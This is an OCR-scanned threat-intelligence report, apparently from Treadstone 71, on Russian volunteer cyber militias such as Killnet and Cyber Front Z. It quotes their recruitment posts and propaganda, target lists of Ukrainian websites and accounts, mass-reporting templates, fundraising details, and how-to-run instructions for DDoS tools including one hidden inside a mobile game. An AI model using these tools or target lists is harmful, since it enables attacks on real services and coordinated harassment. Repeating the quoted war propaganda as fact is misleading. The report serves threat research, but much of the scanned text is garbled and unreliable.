Possible Sightings

Audiojungle music https://audiojungle.ne
Disqus social https://disqus.com/by/bere
eBay shopping https://www.eba / S ——

. ; ! / O s
Fortnite Tracker gaminghttps:/

5 HEE ——

Garmin connect health https: : profile/beregini
Gravatar images http://en.gr E_J‘—mﬂ-— -

Internet Archive.. misc Eagini o R

Pinterest social https://wi -

Telegram social https://t. '_.'_"::‘H

themeforest art  https://t : i ——
TikTok social https://www.tik S ..._,..___'

Twitter archived.. archived ‘/https://twitter.com/b
vsco social https://vsco.co/b
YouTube video https://w
Olga Miroshnikova

Bereginya Quotes:
"Methods of influence - they are well-k 3 c imid n, lies, staging. We can already tell
that Ukrainians were tasked with calling 1t ns are dying "that Ukrainians' houses

opposition, to spread this news, how many oppositional Telegram cha at are ready to pick up any of them news and start distributing it
in their networks ," At the same time, they do not hesitate to disseminate information about "atrocities" and "looting".

Bereginya is a goddess that is quite dominant in Slavic mythology. This goddess is able to shapeshift
and turn into other Slavic goddesses or even acquire a human form and turn into a woman.

Ethnographic records describe Bereginya as associated with the cult of water, trees and vegetation,
sometimes described as a protector of nature life. It was believed that Bereginya is an embodiment

of the entire aura of nature and its powerful force. The ancient Slavs honored the character of Bereginya
and made dolls that would represent this deity. According to the folklorists of Slavic mythology, the cult

of Bereginya was represented through an abstract image of an ancient female power that was associated
with collective unity. The legend of Bereginya showed her as someone who helped people who are honest
and who lived by the principles of truth and honor. Some people considered Bereginya a patron spirit while
others would stick to this personification of community power and alliance with nature. Other Names of
Bereginya:Depending on the version of the tale (or the legend), Bereginya also appeared under the name of
Lada, Leyla, Dana and Zhiva. Her character was imagined through many forms and aspects.
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CYBER ARMY calls on everyone to support and help our country! KUBEP APMWA POCCUW RU cyberwar_world - Part of the Stop NATO Movement
We call on all concerned programmers in the world to consolidate and put an end to neo-Nazism in Ukraine and the aggressive policy of the US and
NATO leadership together. Join the Russian Cyber Army . Let's all say together #StopNATO #Killnet https://stopnatorf.ru/ru/kiber-armiya-rossii

We are looking for: Spammers, Stencilers, Pintesters, DDOS services, Graphic designers, Hackers, Phishers.

CYBER ARMY has 3 divisions:

e Strike Group - Hackers / Pintesters / Ddos Services / Phishers

e Distribution group - Spammers / Seo / Stencilers (Graffiti) / People with connections / outlets to the media / TV / Publications, etc. / People who
have their own channels in social networks.

e Technical Team - Graphic Designers / Video Editing / Creative Specialists / Copywriters

Our official channels: https://t.me/killnet_channel / https://t.me/cyberwar_worldru (cyberwar_world)

Irpemacional velurcees movement The Incermasional Volsntary Movemenr

STOP NATO STOP-NATO

KWUBEP APMUS

-
@ MOVEMENT MEWS VIDEQ COMTACTS CYBER ARMY OF RUSSIA

O THE STOF RATD MOVERERT

N CTON-HATO
STOP-NATO

SO THE ANTI-FASTIST ALLIAMTE

YXE rOTOB BCTYNMUTb HA CNYXBY
B PYCCKYIO KWBEP APMMIO?

CYBER ARM
CYBER ﬁnm‘?

OCTAHOBM

AE3IVHOOPMALIUIO!

.
%% KBE5L.
30 MET A0 O
MEXTAEHOM

KA

OBUHKEHUE «CTOM-HATO / STOP-NATO»
INEKTPOHHaA noyta: info@stopnatorf.ru

BCTynAn B Pycc Kym OduumanbHbi Tenerpamm-kaHan: t.me/stopnatorf
K “ 5 E P AP M “ m ! OduumanbHbI akkayHT B VK: vk.com/stopnatorf

OduumumanbHble cantbl: CTOMHATO.P® / STOPNATORF.RU

CKAHUPYMU QR-KOA
BbIBUPAM rPYNNy
NMOMOIAU CBOEM CTPAHE

KIL L t.me/Killnet_channel

t.me/cyberwar_world

International volunteer movement "STOP-NATO / STOP-NATQO".
Join our movement!

Website: stopnato.rf / stopnatorf.ru

For feedback:

mail - info@stopnatorf.ru

bot - @stopnatorusbot

Fﬁ@ﬁdﬁ%ﬁ%@
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| ATTENTION |
Information troops of Russia. Join our ranks!
Administration: @cyberrr_z
Feedback: @cyber_letterbot
cyber_frontZ KUBEP ®POHT Z rRu

We welcome everyone who is not indifferent and loves his Motherland!

We all went to bed as ordinary people, and woke up as enemies to the whole world. We are forced to ask for forgiveness just because we are
Russians. And this is at a time when the genocide of the Russian-speaking population has been purposefully going on in Ukraine for 8 years now,
the Kyiv junta is bombing the civilian population of Donbass.

Russian attempts to force Kyiv and its Western patrons into peace and stop the killing and persecution of the Russian-speaking population in
Ukraine have come to nothing. The West turned a blind eye to the crimes of the Kyiv regime. For the past few months, Ukraine has been pumped
up with weapons and money. Kyiv wanted to resolve this issue by force, destroying hundreds of thousands of Russians.

Fortunately, their plans failed to materialize. Special Operation Z is in full swing, one by one the cities are freed from neo-Nazi groups.

The more successfully our soldiers fight the plague in Ukraine, the more fakes and information attacks appear on us. The Ukrainian propaganda
machine is in full swing. They wish us death, and collapse of Russia.

Only together we can resist these attacks! We are opening the CYBER FRONT of Operation Z to repulse in the information field the propagandists of
the Kyiv junta financed by the Western world.

We appeal to all caring Russians and our fraternal peoples. We need:

&5 Social commentators
& Spammers

£ (3) content Analytics
™ programmers

M T specialists
Designers

KWBEP Z@®POHT

You can join our ranks - just s
Working conditions, includi

Z Glory to Russia! V

W@
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Who we are
In connection with the launched full-scale information and economic war against the Russian Federation, the Information and Coordination Center was established
The ICC is a group of like-minded people whose main goal is to combat the spread of false information about the activities of the Russian Federation and the Armed
Forces of the Russian Federation.

CUIA
Our priorities are:
1. Blocking channels for the dissemination of hostile propaganda in social networks and instant messengers
2. Blocking of propaganda sites that spread false information ‘
3. Investigation into violations of the rights and freedoms of the state

NMPABOE

Important information
Our hackers have ICC_H@ckTeam carried out a successful attack on The UkropropagandandistsuA. Another victim was the Ukrainian TV channel

UATV (https://uatv.ua/en/)! Your own creeping line is running. And this video, you could watch during the broadcast of the channel on Youtube. A comple te
substitution of ether has been made. The people of Ukraine must know the true situation at the front and stop Zelensky from t he war to the last Ukrainian!
Together with our like-minded people, we will continue to shed light on the events taking place.

Current guidelines
To participate and contribute to the information confrontation, read the Toolbox section, where you can learn how to work most effectively in each of the areas. If
you have information about a channel or site that spreads fake information, denigrates the Russian Federation or violates human rights, and it is not on our

list, please contact us.

At the moment, the coordination of actions is taking place on the following resources:

Telegram

. heilragnarock

. ragnarockkyiv

. polkazov

. IDT_Dimetil_Gidrozin
. vatahunt

. marshalvdv

. Berezaluice

. Russian_warship_IDI_NAXUI
. ragnarockkyiv

. upainfo

. SkyNet_Arms

. prankota_ch

. stasdubrik

. pizdakatsapam

. smi_kharkov_chat
VK

. nato_club

. na_dne2018

. startanovich

. ovdinfo

. gennadiykrohalev
. midnightrat

. Otto Miller

. Zakhar Shevchenko
. Ivan-lvanovich lvanova
. Serzh Gorely

. Stoian Viorel

. centrumnovum

. idelenaspb05122
. Vitek Brovkin

J Sergey Remizov
Sites

. adm.dp.gov.ua

. azov.org.ua

. slink.news

. vlasti.net

. zaxid.net

. myrotvorets.center
. yanerusskiy.info

. zarmy.rip

. lnews.zp.ua

. dokaz.gov.ua

. nw.com.ua

. mkrada.gov.ua

. ua-news.in.ua

. 1plusl.ua

. novy.tv

The full list of goals can be found in our Telegram channel or VKontakte Group

People are needed!

We recruit interested people to our team. To confront the enemy in the evolving cyber war, it is necessary to constantly maintain and expand the functionality
of our center. If you have one of the presented skills , feel free to write to us.

Graphic Designer Preparation of posters, graphics and other material

Video Editing Specialist Preparation of high-quality video content

OSINT Specialist Search for information in open sources

Moderator Maintaining the communities of our center in social networks

How to contact us

Our Telegram channel: @infoccentr

Our VKontakte group: |ICC

E-mail: infoccentr@protonmail.com Project Assistance, QIWI: +79278952889

W@
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Tools (links to tools to follow)

A propaganda campaign of unprecedented scale has been launched against Russia to incite Russophobia and discredit the actions of the Armed Forces of
the Russian Federation and the people's republics. The Ukrainian side uses the most dirty methods of propaganda - lies, hate speech and bloody
provocations. All this is spreading on Ukrainian and anti-Russian foreign websites, in all social networks and instant messengers.

On this page, you can find instructions and guidelines for effectively combating Ukrainian propaganda.

Opposition in social networks and instant messengers
The simplest, but at the same time effective way, is to leave complaints about inappropriate content. Depending on the size of the community and its
content, it may take a different number of complaints and time to block it.

Below are links to guides on countering anti-Russian propaganda on various social networks:

Telegram instruction
Instructions VKontakte
YouTube instruction
TikTok instruction
Viber instruction

Our center coordinates the blocking of inappropriate content. You can find the list of communities and channels where hostile information is published in
the Target designation block.

NO-NAZI website
To counteract nationalist and anti-Russian sites, we have developed a tool to disrupt their performance.

Thanks to this tool, anyone who wants to help in our righ y 1 make a significant contribution. All you need to do is go to

ZDOS software tool of mass destruction
You can make the most serious contrib
disrupt the performance of targeted r

omputer to a single cyberfront to

The program is very easy to use -

DobroDOS software tool
Another tool from our develope
the load on the processors of

e number of threads to reduce

See the link for installation and

DobroDOS software tool in 2048
Our developers have created an a
2048 game format.

g. We present you DobroDOS in

See the link for installation and use ins

W@
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Opposition on the social network TikTok

Back

How to submit a complaint

1. To report an account, click on the three dots next to the username. To complain about a specific video - after a short press on it, a context menu will
appear. Select "Report" from the context menu

max.yankov 2]

Make SiHkoB

R )ano6a

728 Moanuci  38.2K Momnucunsn  2M M

Her oncai.

Knuni & Naikuyn(-a)

Reply to @2vyagind ‘#weTBOAHE #reTsoiine Reply to @ssseeerr26...

2 . Specify the category of the complaint

< Wanoba

Sutepune caryags

Topwcrpadbens u warars

Omacien opra M 4 FEOCTH

Hanaransase RSACTENA W IATDSUIRIE TORDM

MEUE SCTE W 00NN

Tiponarans HemsncTs

Ocxoplieemee i Tpos

Ty, npiamnesne spena cole 1 nBcE BeRCTEIE

HOCTOADCTI  wompy L SO TN

"Submit" button, or select any other

Channel Info

@ Mapuan i & =
78 119 subscribers

@ tme/marshalvdv

Counteraction in the Telegram
Back

Sending complaints to channels a
1. Go to the target channel, click o
For iOS devices, you need to click on
"Leave channel" button

Link

PYCHA Nanae Ha yxpaiHCbKiA 3emni ﬁ
Description

Ial Notifications. @ )

VIEW CHANNEL

E3  1016photos

0 717 videos

Gd  7audiofiles

(<o) 1394 shared links
\U,; 22 voice messages

142 GIFs

= Leave channel

~_
2 . In the window that opens, select the appropriate type of complaint. In most cases, hostile content falls under the Violence, Personal Details, or Other
categories. thion ) G a o
—— —=t
P gt ocmes s o v W e cabockicn.. Report message
Spam
Violence
| B child Abuse
:;“I @5 H157T H2% D16 TT T &S Pornography
m 108 comments.
Copyright
3. Leave the text of the complaint and send
p lllegal Drugs
Personal Detalls/
Other

Cancel

Telegram also has the ability to send a complaint to a separate post. Calling the context menu for complaining about a specific post is carried out by a
single tap (for mobile devices) or by right-clicking (for Telegram Desktop) on the post. The further process is similar to sending a complaint to the
channel.

Recommendations: The most guaranteed effect is achieved by sending daily complaints in English to the last 10 posts of the target channel.

Sample text for sending complaints: This channel publishes uncensored images of graphic cruelty and calls for violence against civilians and war
prisoners. W@
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Opposition on YouTube video hosting

Back

Moderation rules

In order to leave a complaint on YouTube, you must be a registered user of the video hosting (requires a Google account).

There is a certain list of categories of prohibited content on the video hosting, therefore, if you find a video that falls under one of the categories,
feel free to send a complaint.

The following types of content are not allowed on YouTube:

- materials created by criminal or terrorist organizations ;

- content that speaks with approval about known terrorists or criminals in order to encourage viewers to follow their example ;

- videos praising or justifying the violent actions of criminal or terrorist organizations ;

- videos with calls to join a criminal or terrorist organization ;

- content containing images of hostages or posted for the purpose of extortion, threats or intimidation by a criminal or terrorist organization ;
- videos in which images of symbols and any other identification marks of criminal or terrorist organizations are included for the purpose of
advertising or propaganda ;

How to submit a complaint

1. Click on the three dots icon below the player. Select "Report" from the context menu

= EYoulube™ Beeaue sanpoc = e

Tpramma anode

(O Kourenr cexcyanstiors xapaxteps @
Llyicarny Tina 3arnbnmx. SHaxomann

M pociichKoi penepanii, HecTokne rnm oTTanunaue cuess (B

Pocificoka apuis BTikana 14 YK ‘Tpaiit cekTOp” i ry6ANa TpycH, GYTEONKH, TaHKM | 5TPU
(31.03.2022)

o 02 NORENUTSCA =+ COXPAHNTS -
Prpr— P e

2 . Specify the reason for the complaint @ o
Reason for complaint

OCnoplnesing mnk NpoCRBNeR peTepnumectn (5

JloMOraTENLCTES WK WIReRATERCTRS (D

Bpeayue nn onacise neactoan (5

Ko

TaBTPu.

Hecrokoe obpauiehne ¢ fereMn (1)

About Sexual content (Violent or repulsi ISR TIPpRa

Insults or manifestations of intoleran
About harassment or bullying
Harmful or dangerous activities
Child abuse

Propaganda of terrorism
Spam or false information
Violation of my rights
Problem with subtitles
Your complaint will definite
violations, the user's accou
Reason for complaint

Cras i posan mpopsagn (%

O
O
O
O
O
)
O
O

Hapypesse pow npan (%)

O nNposnena c cyburpasmn B

Hlaiss mamcda conIatensm BYRET CACMOTIEE 0w Ul Ghmamy R
APYUIIER MEBVA CONEGCT S, 10 pwaen oo () Crpee copad B
T OGN DT ML AR A BT FOARIOSATRAR Wi T ety
dedicmupuindy w00 v i

OTMEHA NANEE

case of serious or repeated

Violation of the legislation of t
"On Countering Terrorism" and
block the channel as soon as poss
suspected extremist activity Can be
Your complaint will definitely be consi
we will take action. In case of serious or
Complaint about the channel

BpemenHan meTia*

0:58

Hapywenue 3akoHogaTenscTea POCCMACKOR Degepaumnn.
CornacHo ®efepansHOMY 3aKOHy OT 6 MapTa 2006 1. N 35-
©3 "0 NPOTHBOAEACTEHUM TEPPOPUIMY" U DENEPANLHOMY
3aKOHY OT 28 gexabps 2010 r. N 390-03 "0 6e30nacHoCcTH'
Heo6X0AMMO 336N0KMPOBATEL KAKAN KAK MOXHKO cropee . OH
CONEPIKMT MHCTPYKUMM K HCNONB3I0BAHHIO OPYXHA 1
NOAPYYHbIX CPEACTB ANA NPEANONAragMOoi 3KCTPEMUCTCKORA
BEATENLHOCTH. MOXET 6biTb MCNONL308aH ANA NOUCKA
PEKPYTOB ABUMEHUA.

3. Specify a timestamp on the video and add a description of the

Moment of Death Content Removal

 your femily member tical injury, and of this comtent please: elow. We carefully

your report, we' andake action e
* Required field

Your full legal name (Alases, usemames o intials are not acoepted) *

423/500

Emad sddress*

I

Your relationship 1o the vietim: * HEpYLWeHWE NPABHN COOGIECTDA, TO NDUMEM MeDbl. B CRyJae cepbedHbm
WM HEOAHOKPATHbIX HADYILEHHA SKKSYHT NONbIOBATENR MOKET GbiTh
[ sadnoxuponas. Manoba Ha Kawan

Eawa Manota o6A3ATENLHO BYAET PACCMOTPeHA. ECNM Mbl O6HADYMHM

The URLLS) of the ideals) in quastion *

l OTMEHA OTNPABWTDL

hcd addtornl

Agree tothe foliowing statement

Weatis your country of esidence?®

I

=

https://support.google.com/youtube/answer/2802027

The complaints mechanism also applies to channels, comments under videos, broadcasts and other content. You can find detailed information about
this in the relevant section on the platform website. Sending complaints about videos with footage of abuse of prisoners of war and killed soldiers
YouTube has a separate report form for such videos. An excerpt from YouTube's content moderation policy:

How to submit a takedown request for a video that shows death or serious injury

We understand the desire of the relatives of those who were seriously injured or died not to capture these events on video and not to make them
public. If you find a video that shows your loved ones in one of these situations, and want to request the removal of this content, fill out a special
form. Please keep in mind that the final decision is ours. When reviewing the request, we will take into account the public interest in the video and

its eventual significance. | @
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. . . BKOHTaKTe Mowck !B,
Counteraction in the social network VKontakte - 2 i

Mos cTpannua
@ e Anna Treasure

5 Hosoc kil russian- save planet
Sending complaints to a specific person .
. . . . Q. 3somkm Lleno poxasHns
1. Go to the landing page, click on "More" under the user's profile picture e ropan

CemeiiHoe NonaxeH e
é85 Coobuectsa

[ ®otorpaduu
Mysbika

1977
Braco apyseit  nc
BL Knunei [106aBUTS B Apy2bA
8 Mzt ®ovorpadum Anna 161

(2 nNpuarnacuTs 8 6eceny

5 o6vrRanenun
L) veenomnaTs 0 2anmenx
-~
. 0 P
o
BS MMMMNDURONSHAR % oy s saknankax =
@ vKPay z 4
1

v Ewé

<% 3aknagkn

0 @ainm Lpyaba 1977 HoBOCTH
Boeaanucu  Sanucu Anr

T 8ee
A
2 . In the menu that opens, select "Complain" @ o

3 Hosoct

Anna Treasure
Kill russian - save planet

() Meccenpkep

Q, 3soHkn

2% Opyspa

[lewb poxgenna 6
Fopo: Kue

CeMeitHoe NonoxeHHe; He:

é2, CooblecTsa

() ®ororpaduu
Mysbika i
Hanucats coobluerie 3% 1977 9.
() Buaeo Apysein  moanm
B ko [Lo6asuTs 8 apyana
) Hrps i
= (© Npurnscnto s Geceny Dol pediy Ko 1o
(5] OGvAenenun
£\ yeenomnsms 0 sanucax
Dol S
00 MUHUNDWIOKEHUA <5 Coxpanmo B 3aknagKax
® vKPay
(D) noxanosatsen
©7 3aknamku
() 3abnokuposars Anna
O oainn

Beesanued  3anucu Anna

) Peknama

3. In the window that opens, select the type of complaint

47O BaM KEWETER HEABNYCTUMBIM Ha ETPaN)

Cram
MoweHHuuecTBo
OcxopGnesua
Marepuans: anA sapocnix

HeHacTonUWA npadunt

4 . Enter a detailed description o

€ BepuyTuca Hasan

Anna Treasure a
Npodums

OTTRaBNTE WAl S NANS3 CRATEN YATKIST YEETE
W pocTOwAG! moash

5 . Upon successful submission, you will see @

Cnacubo!

ManepaTopsl cKopo PACCMOTPAT Ballly Kanoby

BononHuTensso

AobaswTs a8Topa B SEpHEIR CIWEOK

CHPBITE JANHCH ABTOPA K3 NEHTE!

Recommendations

VK very carefully checks all complaints and their correspondence to reality. The documentation says that even one, but correctly drafted, complaint is
enough to block a user/public.

Sample text for sending complaints:

This user insults other members of the community, distributes links and materials in the public domain to resources prohibited by the legislation of the
Russian Federation, calls for violence and persecution against Russian citizens. Please take action to block this user!

‘E:eedm%?@
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Counteraction in the Viber messenger &

Sending complaints to a channel

gﬂ Mpowi sip, MixHapogHux op

Ykpainui 8 Monbuyi

187 915 yyacTHuKoS

raxizauit: 3 31

1. Select the community you want to report, then click on the three dots in the top right corner of the screen

&« {“E?'HL:‘ ? I'I;mm WHbopmMaLks o KaHane
L ] Tpowi sig MbkHEPOAH  Megua, cobinki W dains

Rywe wapmxaioi® noxanasatsen
Blpn“ﬂ, wo 308CIM

ce Gyne e @
. ynmﬁpk

BsAto TyT i

2 . Select "Report channel" from the context menu
https:/bitly/Twicel nopuck

S KoMMeHTapHeE >

(.. 30BCIiM CKOPO MOXe
BifGyBaTHUCD, CNpaBxHii "Game
change"

#" Pakethi cuctemu HIMARS Bxe
611M3bKO =

Bipumo B nepemory o'y
MNignucyidTeck Ha HOBMHKN

viber://forward?text=KnikHite

%20Hmn4e%20Ta%20Hagiwnitb
%203anpoLwenHn%2000%2010
%203Haomnx%20https://
invite.viber.com/?
92=AQAWrjUCf2UX9k7VdYjZbJSm
D6TIR3BR302KFfMdmzDtgvSgVIM

5BvCaafpipchk
WameneHo 2146
28 KOMMEHTapHes > o

. 30BCiM CKOpO MOXE

BigbysaTues, cnpaexii ‘Game

change"

#' PaetHi cuctemu HIMARS e ™

GrusbKo =
Bipimo B nepemory Jy

MianncyATeCH HA HOBUHK

3. State the reason for the complaint

Ti
oo N et 2N

viber.//forwardtext=KniHire

3ro cnam

Mponararga Hacknus

OCKOPBUTENEHBIA KOHTEHT

OBHaméHHan HaTypa

Hapyuenwe asTopeiux npas

Puck ana wusnm

Xouy BBIATH M3 cooBLIECTBA

Lpyras npumHa

ol —
submission of
% S e g
P
o ol '-—l_|_l_

—
g . gy

4 . After selecting a category, yc olai

it

Cnacuéo

Mbl noAYy4HnM BaLLy XanoGy 1
paccmoTpuM eé B Gnukaiiuee Bpems

3AKPBITE

e — e

< Vkpa’wu\ B Mons) Wndopmayms o Kanane

i i
F3 I'pcnn nluI u :"mpo?: Meaua, ceolnku U ainbl

4
Ayxe Hapuxaiol'e Moxanosarsen
Blp"MﬂJ WO 30BCIM|

yce 6ype nobpe &
MoxanoBaTbCA Ha KaHan

BasaTo TyT

https:/bit.ly/Twicel nouck

Sending complaints to individual posts
1. To report individual posts, you must also og

5 KOMMEHTIDUED 3

L 308ciM CKOpO MOXe
BiaByBaTUCH, CripaBxHii "Game
change®
#" Pakerni cuctemmn HIMARS exe (™)
Bnn3bko T '
Bipumo B nepemory
Nian1cyiTecs Ha HOBUHK
i xt=Knikui

viber-//forward?text=Knikuite
%20mmiue%20Ta%20HafiuniTe

nnnnnnnnnnnnnnnnnnnnn

2 . With a single tap, select the posts you want to report (you can select up to 25 posts at a time). After that, click on the big button at the bottom of the
screen. The next steps are similar to the community complaint process.

£ Boibepute coobuenus 1

W Mpowi Big mixwapogHnx opramisayii: 3 31 Tp... x

3. The context menu of an individual post can be called up by long pressing on the post content.
Viber also has the ability to report chatbots and sticker packs. The process is similar to reporting communities and
posts. You can familiarize yourself with the detailed instructions on the official website of the messenger .

MomanoeaTbes Ha coobueHne

‘E:eedm%?@
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DobroDOS program

All instruments

Short description

The key advantage of the new program is customization flexibility. You can adjust the number of processes to reduce the load on your PC. The program also
takes a list of targets directly from our community to Telegram, which allows you to quickly adjust the direction of the attack. We will announce all changes
in the list of targets for DobroDOS in our communities.

Our developers have prepared a version for Windows users and Android smartphones, a Linux version is coming soon!

How to use
Download the corresponding program archive:

Windows version
Installer for Android
PC usage:

Unpack, go to the dobrodos folder and run dobrodos.exe.

Before starting the program, you can adjust the number of threads in the corresponding field. The higher the value, the more significant contribution you
make. We recommend reducing the number of processes if the program is heavily loading your computer.

Click on the "Start" button.

Usage on Android:

Open the apk file, after installation, the program icon will appear in the menu.

The mobile version has basic functionality (start and stop), the interface is similar to the PC version.

Adjusting the number of processes in the mobile version of the application will be available in the next update.

After starting the program, initialization will begin - getti f m the post of our TG community. If an error occurs at this

If everything goes well, information about : and a list of received sites will appear in the
block on the left . Information about the
To stop the program, click on the "Pa

To clear the output window (right
DobroDOS program in 2048 gam
Short description

This software product is an an
background. We combine busi

self will start working in the

This product can only be instal

How to use
Download .apk file from this link .
Install and launch the game

Just enjoy everyone's favorite game
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NO-NAZI website
Short description

NO-NAZI is a tool to disable nationalist and anti-Russian sites by automatically sending a huge number of requests. If the server of the target site is not

able to process a large number of requests, its availability is violated - visitors will receive errors when trying to access it.

Efficiency directly depends on the number of participants - the more people launch NO-NAZI, the more requests will leave, therefore, the higher the

probability of "setting" the goal.
When working with the site, we recommend using VPN services to increase the efficiency of the tool!
How to use this tool:

; stopped

HaLuoHaIM3M Ha YkpauHe smecte!

a by napyusaTs pabory caif

PRESS IT TO START DoS

« Join our telegram channel!

Yucno oTnpasneHHbix MoTeHumanbHan CKOPOCTL

3anpocos OTNpPaBKK 3aNpocos
(m] urL [pUopUTETHBIE LEenn requests | | resources
] hitps:/idonpress.com 0 21
| hitpslatn ua 0 3
{} hitps:iibreezee com.ua 0 4
O hittps.diznaimo.gov.ua 0 49
[m] https /izaxid net o 31

We go to the site .
Select the target resources by checking the box next to it.

The list of target sites is constantly updated. If you have suggestions - write to us .

Coordination of common efforts is carried out by assigning priority goals - they are marked with an exclamation point.
Priority goals are updated on a regular basis, which we reporti
Press the button "PRESS IT TO START DoS" .

After pressing the button, the work will start, opp
We leave the tab with the site open, otherwi
Answers to frequently asked questions (FA(
Does it really work? How to check?
You can check the progress of our too

sites.

The results can be viewed on any r
majority of errors (red fields), the

Is your site secure?

Our site is absolutely safe and p
Selecting a large number of des

power of your device!

Let's stop nationalism in Ukraine
their infrastructure.(Originally in

T, T6 59 U8 F1 AR T8 AT SUBN IR Gl ¢ & & 95 dadme] @ 4 AR Sk g &id IX 0 a1 dal S|

URL

https:#pozitciya.com.ua

hittps:#2day kh.ua

https:#fazov.org.ua

https:inv.ua

https:iwww if.gov.ua

https:#www vivrada.govua

hittps:#ukr-foday.com

hitps:{viasti net

hitps:ivoladm.gov.ua

https:izaxid net

p—
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i " usage oryc
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lis page and let it open on vour dey

o

P
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«« Join our telegram channel!
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0

]
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st of outgoing requests to the target

e target site via HTTP, it gives the

y antivirus tool.
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2bsites and create a big one on
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ZDOS program

All instruments

Short description

ZDOS works by analogy with the NO-NAZI site and gives the same effect on target sites. It is not yet available for mobile devices, but it has a number of
advantages compared to the site:

- improved coordination scheme - you do not need to select priority targets, all ZDOS users concentrate their efforts on the designated targets, the
probability of success is higher.

- ease of use, you can leave it in the background and go about your business (for NO-NAZI to work, you need to keep an open tab in the browser).

- does not depend on third-party factors, since it is hosted only on your PC (the site may sometimes be unavailable for various reasons).

How to use

Download the program archive according to your operating system.

Linux version

Windows version

The downloaded archive contains two files - the executable file of the program (for Linux - zdos.elf, for Windows - zdos.exe) and a file with targets -
sites.

Run the program file.
The program will automatically load the targets from the sites file and start its work!

Please note that this software can load the processor of your PC! If you have a weak computer, do not run ZDOS at the same time as other resource-
intensive programs (browsers, games, etc.).

W@
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Voluntary assistance
Our project is successfully carrying out its activities to destroy the information field of the enemy. We firmly believe that we are fighting on the side of
good against absolute evil.

Many people want to support our project and we open such an opportunity!

We need to procure enough important funds to help our friendly unit. On our own, we purchased some of the equipment, spending all our money and
we need your help!

We plan for the next purchase:

underwear (Panties, T-shirts, socks).

Tea, buckwheat, cigarettes, stew, sweets, pasta.

4 pairs of shoes 43 / 2.44 and 45 p.

4 unloading.

4 tactical helmets.

2 go pro cameras. (this is for reporting to our channel) - you can 4, but if possible.

Maskhalats 5 pcs.

Balaclava 35 pcs.

Walkie-talkie pro level 5 pcs. (Batteries for them)

A quadcopter for short distances worth 45k, preferably with a remote control (we will look for a cheaper one). The last copter is used only at night. And
a small copter was lost near Nikolaev.

We are opening a collection for assistance and purchases for the following wallets. We will be glad to any amount from you!

RNKB Bank: 2200 0202 2603 6277
Sberbank: 4276 3000 6849 0328

Bitcoin: bclqgxl6ge7tzrlismmafrn3d0rgaqwyq2fv
Immediately upon completion of the purchase
show the current move!

y take a photo of the acceptance. We will also

The rest of the funds will be partially ally for registrati e unclosed moments, but not so
global. Hope we make it! v

I_I'---' — e
. . il e
Collection coordinator: P

- ol c————
=

Telegram: @IKC_FantomspyY '.-.-'h..- T Ty r.’___.i"
results - ey ...,-"dll
R | y o i f— w - TR B —————

e il sms ey
e

We are proud to announce tha azis, have got essentials and

some technical means on whic

= o T

g —_
Quadcopter A — i ——— _-.-“h‘..
Thermal imager with infrared di R e W,
Anti-glare binoculars ; S I —
Phone for communication and con
Personal medical packing for 12 peop
Caps 12 pcs.

Gloves 10 pairs

Underwear 10 sets

5 pairs of quality trekking shoes raincoats
Underwear sets 50 pcs. per company
Balaclava 50 pcs.

Headset Terminator 25-5G 1pc.
Headphone Terminator 33-5G 2 pcs.
Blocker "Zavesa-9 NST"

As soon as the purchased funds are delivered to their destination, the guys will definitely send a video greeting to you and me between fights!

.

- — Ty
- .-!-r = o h R' 18 ..l

a2 e — e

If suddenly you have any questions about the purchased assistance, write the fundraising coordinator to our friend @IKC_FantomspyY

Shopping photo

_ Pavaysvima

Vse_ Prost@

p
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Many tools are located in the
corresponding folder
Treadstone 71
www.treadstone71.com

W@

Not for Distribution Outside Your Organization



Russian Cyber Warfare Militias
July 2022
Treadstone 71
www.treadstone71.com
www.cyberinteltrainingcenter.com
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